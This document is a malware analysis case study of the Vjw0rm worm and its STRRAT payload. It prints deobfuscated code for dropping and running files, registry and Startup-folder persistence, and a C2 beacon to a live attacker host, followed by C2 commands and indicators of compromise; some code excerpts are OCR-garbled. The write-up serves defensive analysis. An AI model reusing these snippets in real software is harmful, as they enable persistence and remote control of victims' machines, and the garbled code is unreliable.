How to Analyze JavaScript Malware – A Case Study of VjwOrm

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Executive summary

Vjw0rm is a worm that spreads via USB drives and has RAT capabilities because it implements different commands transmitted by the C2 server. It establishes persistence on a machine by copying to the Startup folder and creating a Run registry entry. The malware drops a Java-based RAT called STRRAT, executed using the Java executable that can be found on the local computer or downloaded from a remote URL.

Analysis and findings

SHA256: 2b0c9059feece8475c71fbbde6cf4963132c274cf7ddebafbf2b0a59523c532e

JavaScript malware can be an infection vector leading to serious threats such as ransomware and spyware. We want to present a general approach that can be used to analyze any malicious JavaScript scripts.

As we can see in figure 1, the initial script is obfuscated, and we need to find a way to extract the relevant information:



Figure 1

We used <u>is-beautify</u> to beautify the JavaScript file. We identified a string that seems to be Base64-encoded (see figure 2).

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$8001 \\ 8001 \\ 8011 \\ $
#775MaxDov/mode/1718705Act/00004/070128/070004/070128/070004/070128/07012

Figure 2

The malware replaces the "_!" characters with "m" in the above string:

(1 && s._._)().text = (1 && q._._)().replace(/_!/g, "m"); d = (1 && r._._)().CreateObject("\x61\x64\x6F\x64\x62\x2E\x73\x74\x72\x65\x61\x6D");

Figure 3

<u>Box-js</u> is a tool that can be used to execute and analyze a JavaScript file. Figure 4 shows that the malware creates a script called "KeunXSGcHu.js" in the "%AppData%" directory and runs it:





The transformed string is Base64-decoded, and then the script executes the new instructions.

As we've already seen, the malware creates a file called "KeunXSGcHu.js", which is populated with a variable that is Base64-decoded, as highlighted below:



Figure 5

```
var wshShelll = WScript.CreateObject("WScript.Shell");
var appdatadirl = wshShelll.ExpandEnvironmentStrings("%appdata%");
var stubpathl = appdatadirl + "\\KeunXSGcHu.js";
var decodedl = decodeBase64(longTextl);
writeBytes(stubpathl, decodedl);
wshShelll.run("\"" + stubpathl + "\"");
```

Figure 6

Another variable named "longText" is decoded by replacing the "_!" characters with "A" (see figure 7).



Figure 7

The script generates a random string consisting of a maximum of 10 characters using the "Math.random()" function. The "longText" variable is Base64-decoded, and its content is saved in a ".txt" file. The resulting file is a malicious JAR called STRRAT with the following hash: 0de7b7c82d71f980e5261c40188bafc6d95c484a2bf7007828e93f16d9ae1d9a.

```
var wshShell = WScript.CreateObject("WScript.Shell");
var tempdir = wshShell.ExpandEnvironmentStrings("%temp%");
var appdatadir = wshShell.ExpandEnvironmentStrings("%appdata%");
var r = Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 10);
var stubpath = appdatadir + "\\" + r + ".txt"
var decoded = decodeBase64(longText);
writeBytes(stubpath, decoded);
```

Figure 8

The malware tries to locate the Java executable on the machine by querying the following



```
registry keys:
    try {
        text = wshShell.RegRead("HKLM\\SOFTWARE\\Wow6432Node\\JavaSoft\\Java Runtime Environment\\CurrentVersion");
        text = wshShell.RegRead("HKLM\\SOFTWARE\\Wow6432Node\\JavaSoft\\Java Runtime Environment\\" + text + "\\JavaHome");
    } catch (err) {}
    try {
        if (text == "") {
            text = wshShell.RegRead("HKLM\\SOFTWARE\\JavaSoft\\Java Runtime Environment\\CurrentVersion");
            text = wshShell.RegRead("HKLM\\SOFTWARE\\JavaSoft\\Java Runtime Environment\\" + text + "\\JavaHome");
           if (text != "") {
                text = text + "\\bin\\javaw.exe";
            3
        } else {
           text = text + "\\bin\\javaw.exe";
        'n.
    } catch (err) {}
```

Whether Java is found on the computer, the malicious JAR file is executed; otherwise, the "GrabJreFromNet" function is called:

```
try {
    if (text != "") {
        //wshShell.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ntfsmgr", "\"" + text + "\" -jar \"" + stubpath + "\"", "REG_SZ");
        wshShell.run("\"" + text + "\" -jar \"" + stubpath + "\"");
    } else {
        GrabJreFromNet();
    }
} catch (err) {}
```

Figure 10

The function mentioned above downloads an archive called "jre.zip" from "https[:]//aash[.]com.pk/jre.zip". The archive content is extracted and saved in a folder called "jre7" in the "%AppData%" directory. A registry Run entry called "ntfsmgr" is used as a persistence mechanism to run the malicious JAR:

Figure 11

The implementation of the "UnZip" function is shown in figure 12:



In the "KeunXSGcHu.js" file, it is implemented a function similar to the one from the initial script:

function cL() (
return function () (
<pre></pre>
1

Figure 13

```
(1 && s._._)().text = (1 && q._._)().replace(/_!/g, "A");
d = (1 && r._._)().CreateObject("\x61\x64\x6F\x64\x62\x2E\x73\x74\x72\x65\x61\x6D");
```

Figure 14

Finally, after decoding the Base64-encoded string, we can identify the malware as vjw0rm (see figure 15).



Figure 15

The script verifies if the "HKCU\vjw0rm" registry key exists on the system, which would indicate a previous infection. If that's not the case, the value is created and populated with "TRUE" or "FALSE":

```
try {
    U = sh.RegRead(g[2]);
} catch (err) {
    var sv = fu.split("\\");
    if (":\\" + sv[1] == ":\\" + wn) {
        U = "TRUE";
        sh.RegWrite(g[2], U, g[5]);
    } else {
        U = "FALSE";
        sh.RegWrite(g[2], U, g[5]);
    }
}
```

The malicious script is copied to the Startup folder using the CopyFile function, as shown below:

```
function Ns() {
    try {
        var ap = Cr(2);
        fs.CopyFile(fu, ap.NameSpace(7).Self.Path + "\\" + wn, true);
    } catch (err) {}
}
```

Figure 17

The malware performs a POST request to the C2 server "http[:]//javaautorun.duia[.]ro:5465/Vre" with a custom User-Agent:

```
do {
   try {
      var P = Pt('Vre', '');
      P = P.split(spl);

function Pt(C, A) {
   var X = Cr(3);
   X.open('POST', 'http://javaautorun.duia.ro:5465/' + C, false);
   X.SetRequestHeader("User-Agent:", nf());
   X.send(A);
   return X.responsetext;
}
```

Figure 18

The user-agent contains the following information: computer name, username, serial number of all logical disks, operating system version, and antivirus software name (see figure 19).

function nf() (
Var s.
NT
5 n
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The restance of the restance o
) else (
NI = "NO";
)
s = VN + Ch + Ex("COMPUTERNAME") + Ch + Ex("USERNAME") + Ch + Ob(2) + Ch + Ob(4) + Ch + NT + Ch + U + Ch
return s;
}
function Cb(N) {
var s:
if(N = 2) (
<pre>s = GetObject(v[0]).InstancesOf(v[2]);</pre>
var en = new Enumerator(s);
<pre>for (: !en.atEnd(): en.moveNext()) (</pre>
Var (r = an (ram))
return if Carting,
heads -
AL URA /
11 (N 4) (
<pre>var wmg = "winngmts:\\\localnost\\root\\securitydenter";</pre>
<pre>s = GetObject(Mmg).InstancesOf(y[3]);</pre>
<pre>var en = new Enumerator(s);</pre>
<pre>for (; !en.atEnd(); en.moveNext()) {</pre>
<pre>var it = en.item();</pre>
<pre>var str = it.DisplayName;</pre>
)
if (str ! '') (
wang = wang + "2";
<pre>s = GetObject(wmg).InstancesOf(y[3]);</pre>
en = new Enumerator(s);
<pre>for (: !en.atEnd(); en.moveNext()) (</pre>
<pre>it = en.item():</pre>
return it.DisplayName;
) else (
return it.DisplayName:
= Contract (u(0)) Thetances(d(u(1)))
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The worm implements the following commands:

```
if (P[0] === "Cl") {
    WScript.Quit(1);
}

if (P[0] === "Sc") {
    var s2 = Sk("temp") + "\\" + P[2];
    var s1 = fs.CreatextFile(s2, true);
    fi.Kite(P[1]);
    fi.Close();
    sh.run(42);
}

if (P[0] === "Ex") {
    var r1 = fs.OpenTextFile(fu, 1);
    var r1 = fs.OpenTextFile(fu, 1);
    var r1 = fs.OpenTextFile(fu, 2, false);
    wi.Kite(f1);
    wi.Close();
    wi.Wite(f1);
    wi.Kite(f1);
    wi.Kite(f2);
    wi.Kite(f2);
```

Figure 20



Commands

Cl command

The command is used to terminate the script execution.

Sc command

The process creates a temporary file, populates it with code sent by the C2 server, and executes it using the run function.

Ex command

The command is used to execute JavaScript code transmitted by the C2 server.

Rn command

The malware modifies the current script and executes the new file using wscript.exe.

Up command

The malicious process creates a temporary file that is filled in with code and executed via Wscript.

Un command

The command runs additional JavaScript code that might be used to uninstall the worm.

RF command

Same execution flow as the Sc command.

We used <u>Recaf</u> to analyze the malicious JAR file. As shown in figure 21, the initial code appears to be obfuscated.





We have used Java <u>deobfuscator</u> to detect any obfuscators. Figure 22 reveals that the Allatori Java obfuscator has been identified:



Figure 22

After deobfuscating the file, we can spot many differences (figure 23). For example, a scheduled task called "Skype" is created by the RAT.







We have decrypted the STRRAT configuration using this script:

Analysing File: STRRAT.jar C2: nneewwllooggzz.mefound.com Primary Lock/Port: 1788 Plugins Download URL: http://jbfrost.live/strigoi/server/?hwid=1&lid=m&ht=5 Secondary/Fallback C2: windowsupdatelogz.onedumb.com Secondary Lock/Fallback Port: 1780 Startup Folder Persistence: true Secondary Startup Folder Persistence: true Skype Scheduled Task Persistence: true License ID: khonsari

Figure 24

We can highlight two C2 servers nneewwllooggzz.mefound[.]com and windowsupdatelogz.onedumb[.]com, and the http[:]//jbfrost[.]live URL that hosts the STRRAT plugins.

STRRAT provides functionalities such as keylogging, uninstalling the application, updating the malware, downloading and executing files using cmd or Powershell, and so on:





Indicators of Compromise

SHA256

2b0c9059feece8475c71fbbde6cf4963132c274cf7ddebafbf2b0a59523c532e 0de7b7c82d71f980e5261c40188bafc6d95c484a2bf7007828e93f16d9ae1d9a

Files created

%AppData%\KeunXSGcHu.js %AppData%\<random name>.txt %AppData%\jre.zip %AppData%\jre7 **Registry keys** HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ntfsmgr HKCU\vjw0rm **C2 servers/URLs** https[:]//aash[.]com.pk/jre.zip https:]//javaautorun.duia[.]ro:5465 http[:]//jbfrost[.]live

nneewwllooggzz.mefound[.]com

windowsupdatelogz.onedumb[.]com

